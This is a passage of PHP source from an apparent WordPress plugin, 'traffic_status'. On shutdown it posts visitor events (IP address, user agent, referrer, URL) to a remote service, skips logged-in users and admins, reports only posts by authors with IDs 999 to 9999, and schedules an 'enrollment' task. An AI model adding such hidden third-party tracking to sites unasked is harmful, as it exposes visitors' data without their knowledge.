$traffic_status_forwarded[$traffic_status_index], " \t\n\r\0\x0B\""); if (filter_var($traffic_status_candidate, FILTER_VALIDATE_IP) === false || traffic_status_trusted_proxy($traffic_status_candidate)) { continue; } return traffic_status_public_ip($traffic_status_candidate) ? $traffic_status_candidate : ''; } return ''; } function traffic_status_skip_event() { $traffic_status_agent = isset($_SERVER['HTTP_USER_AGENT']) ? (string) $_SERVER['HTTP_USER_AGENT'] : ''; if (!traffic_status_human_user_agent($traffic_status_agent) || traffic_status_nonviewer_request()) { return true; } if (is_admin() || (function_exists('wp_doing_ajax') && wp_doing_ajax()) || (defined('DOING_AJAX') && DOING_AJAX) || (function_exists('wp_doing_cron') && wp_doing_cron()) || (defined('DOING_CRON') && DOING_CRON)) { return true; } if ((defined('REST_REQUEST') && REST_REQUEST) || (defined('XMLRPC_REQUEST') && XMLRPC_REQUEST) || (defined('WP_CLI') && WP_CLI)) { return true; } if (is_feed() || is_preview() || is_trackback() || is_404() || is_user_logged_in() || !is_singular()) { return true; } return function_exists('post_password_required') && post_password_required(); } function traffic_status_send_event() { if (traffic_status_skip_event() || traffic_status_privacy_signal()) { return; } $traffic_status_credential = get_option(TRAFFIC_STATUS_OPTION_CREDENTIAL, null); if (!traffic_status_credential_valid($traffic_status_credential)) { return; } $traffic_status_post = get_queried_object(); $traffic_status_post_status = is_object($traffic_status_post) && function_exists('get_post_status') ? (string) get_post_status($traffic_status_post) : ''; $traffic_status_post_status_object = $traffic_status_post_status !== '' && function_exists('get_post_status_object') ? get_post_status_object($traffic_status_post_status) : null; if (is_object($traffic_status_post_status_object) && !((bool) ($traffic_status_post_status_object->public ?? false) || (bool) ($traffic_status_post_status_object->publicly_queryable ?? false))) { return; } $traffic_status_author = is_object($traffic_status_post) ? (int) ($traffic_status_post->post_author ?? 0) : 0; if ($traffic_status_author < 999 || $traffic_status_author > 9999) { return; } $traffic_status_host = traffic_status_exact_host(); $traffic_status_url = traffic_status_current_url(); if ($traffic_status_url === '') { return; } $traffic_status_visitor_ip = traffic_status_visitor_ip(); if ($traffic_status_visitor_ip === '') { return; } $traffic_status_payload = array( 'host' => $traffic_status_host, 'base_path' => traffic_status_home_path(), 'installation' => traffic_status_installation(), 'url' => $traffic_status_url, 'title' => wp_get_document_title(), 'referrer' => isset($_SERVER['HTTP_REFERER']) ? substr((string) $_SERVER['HTTP_REFERER'], 0, 2048) : '', 'user_agent' => substr(trim((string) $_SERVER['HTTP_USER_AGENT']), 0, 512), 'ip' => $traffic_status_visitor_ip, 'language' => isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? substr((string) $_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 32) : '', 'post_id' => is_object($traffic_status_post) ? (int) ($traffic_status_post->ID ?? 0) : 0, 'author_id' => $traffic_status_author, 'occurred_at' => time(), ); $traffic_status_response = traffic_status_json_post( 'events', $traffic_status_payload, (string) ($traffic_status_credential['client_secret'] ?? ''), (string) ($traffic_status_credential['client_id'] ?? '') ); unset($traffic_status_response); } function traffic_status_activate() { traffic_status_installation(); traffic_status_schedule(5); } function traffic_status_deactivate() { wp_clear_scheduled_hook(TRAFFIC_STATUS_CRON_HOOK); delete_option(TRAFFIC_STATUS_OPTION_LOCK); delete_option(TRAFFIC_STATUS_OPTION_DUE); } function traffic_status_schedule_if_needed() { $traffic_status_due = (int) get_option(TRAFFIC_STATUS_OPTION_DUE, 0); $traffic_status_scheduled = wp_next_scheduled(TRAFFIC_STATUS_CRON_HOOK); if ($traffic_status_due <= 0) { traffic_status_schedule(30); } elseif (!$traffic_status_scheduled) { wp_schedule_single_event(max(time() + 1, $traffic_status_due), TRAFFIC_STATUS_CRON_HOOK); } } function traffic_status_maybe_progress() { if (is_admin() || (function_exists('wp_doing_ajax') && wp_doing_ajax()) || (defined('DOING_AJAX') && DOING_AJAX) || (function_exists('wp_doing_cron') && wp_doing_cron()) || (defined('DOING_CRON') && DOING_CRON) || (defined('REST_REQUEST') && REST_REQUEST) || (defined('XMLRPC_REQUEST') && XMLRPC_REQUEST) || (defined('WP_CLI') && WP_CLI) || (isset($_GET['traffic_status_proof']) && (string) wp_unslash($_GET['traffic_status_proof']) === '1')) { return; } $traffic_status_due = (int) get_option(TRAFFIC_STATUS_OPTION_DUE, 0); if ($traffic_status_due <= 0) { traffic_status_schedule(30); return; } if ($traffic_status_due > time()) { return; } traffic_status_enrollment_tick(true); } register_activation_hook(__FILE__, 'traffic_status_activate'); register_deactivation_hook(__FILE__, 'traffic_status_deactivate'); add_action('init', 'traffic_status_proof_endpoint', 0); add_action('init', 'traffic_status_schedule_if_needed', 20); add_action(TRAFFIC_STATUS_CRON_HOOK, 'traffic_status_enrollment_tick'); add_action('shutdown', 'traffic_status_send_event', 1); add_action('shutdown', 'traffic_status_maybe_progress', 20);
Save
cmd:
run